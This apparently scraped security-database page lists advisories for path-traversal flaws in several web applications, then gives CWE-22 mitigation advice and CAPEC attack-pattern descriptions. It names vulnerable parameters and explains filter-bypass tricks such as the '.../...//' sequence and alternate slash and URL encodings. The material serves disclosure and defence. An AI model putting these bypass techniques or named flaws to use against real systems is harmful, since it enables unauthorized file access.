Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-26935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-35"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-25T15:15:27Z",
    "severity": "HIGH"
  },
  "details": "Path Traversal vulnerability in wpjobportal WP Job Portal allows PHP Local File Inclusion. This issue affects WP Job Portal: from n/a through 2.2.8.",
  "id": "GHSA-cvrc-rx86-34m4",
  "modified": "2026-04-01T18:33:49Z",
  "published": "2025-02-25T15:34:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26935"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-job-portal/vulnerability/wordpress-wp-job-portal-plugin-2-2-8-local-file-inclusion-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CVVG-V2X4-J3C2

Vulnerability from github – Published: 2022-05-02 03:31 – Updated: 2022-05-02 03:31
VLAI
Details

Multiple directory traversal vulnerabilities in FretsWeb 1.2 allow remote attackers to read arbitrary files via directory traversal sequences in the (1) language parameter to charts.php and the (2) fretsweb_language cookie parameter to unspecified vectors, possibly related to admin/common.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2009-2109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-06-18T21:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple directory traversal vulnerabilities in FretsWeb 1.2 allow remote attackers to read arbitrary files via directory traversal sequences in the (1) language parameter to charts.php and the (2) fretsweb_language cookie parameter to unspecified vectors, possibly related to admin/common.php.",
  "id": "GHSA-cvvg-v2x4-j3c2",
  "modified": "2022-05-02T03:31:41Z",
  "published": "2022-05-02T03:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2109"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/8979"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/55166"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/55196"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/35492"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-CVVX-4RP6-W3RH

Vulnerability from github – Published: 2022-05-14 01:48 – Updated: 2022-05-14 01:48
VLAI
Details

Directory traversal vulnerability in Cybozu Garoon 3.5.0 to 4.6.3 allows authenticated attackers to read arbitrary files via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-0673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-11-15T15:29:00Z",
    "severity": "HIGH"
  },
  "details": "Directory traversal vulnerability in Cybozu Garoon 3.5.0 to 4.6.3 allows authenticated attackers to read arbitrary files via unspecified vectors.",
  "id": "GHSA-cvvx-4rp6-w3rh",
  "modified": "2022-05-14T01:48:31Z",
  "published": "2022-05-14T01:48:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0673"
    },
    {
      "type": "WEB",
      "url": "https://cs.cybozu.co.jp/2018/006717.html"
    },
    {
      "type": "WEB",
      "url": "http://jvn.jp/en/jp/JVN12583112/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CVW3-JQ65-VV6Q

Vulnerability from github – Published: 2022-05-01 18:41 – Updated: 2022-05-01 18:41
VLAI
Details

Multiple directory traversal vulnerabilities in MMS Gallery PHP 1.0 allow remote attackers to read arbitrary files via a .. (dot dot) in the id parameter to (1) get_image.php or (2) get_file.php in mms_template/.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-6323"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-12-13T19:46:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple directory traversal vulnerabilities in MMS Gallery PHP 1.0 allow remote attackers to read arbitrary files via a .. (dot dot) in the id parameter to (1) get_image.php or (2) get_file.php in mms_template/.",
  "id": "GHSA-cvw3-jq65-vv6q",
  "modified": "2022-05-01T18:41:41Z",
  "published": "2022-05-01T18:41:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6323"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39014"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4728"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/39148"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/39149"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28075"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26852"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-CVX5-M8VG-VXGC

Vulnerability from github – Published: 2022-04-28 21:16 – Updated: 2022-04-28 21:16
VLAI
Summary
Arbitrary filesystem write access from velocity.
Details

Impact

The velocity scripts is not properly sandboxed against using the Java File API to perform read or write operations on the filesystem. Now writing an attacking script in velocity requires the Script rights in XWiki so not all users can use it, and it also requires finding an XWiki API which returns a File.

Patches

The problem has been patched on versions 12.6.7, 12.10.3 and 13.0RC1.

Workarounds

There's no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.

References

https://jira.xwiki.org/browse/XWIKI-5168

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki * Email us at XWiki Security mailing-list

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.commons:xwiki-commons-velocity"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "12.6.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.commons:xwiki-commons-velocity"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.7.0"
            },
            {
              "fixed": "12.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24897"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-28T21:16:40Z",
    "nvd_published_at": "2022-05-02T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe velocity scripts is not properly sandboxed against using the Java File API to perform read or write operations on the filesystem. Now writing an attacking script in velocity requires the Script rights in XWiki so not all users can use it, and it also requires finding an XWiki API which returns a File. \n\n### Patches\nThe problem has been patched on versions 12.6.7, 12.10.3 and 13.0RC1.\n\n### Workarounds\nThere\u0027s no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-5168\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [XWiki Security mailing-list](mailto:security@xwiki.org)\n",
  "id": "GHSA-cvx5-m8vg-vxgc",
  "modified": "2022-04-28T21:16:40Z",
  "published": "2022-04-28T21:16:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-commons/security/advisories/GHSA-cvx5-m8vg-vxgc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24897"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-commons/pull/127"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-commons/commit/215951cfb0f808d0bf5b1097c9e7d1e503449ab8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-commons"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-5168"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary filesystem write access from velocity."
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.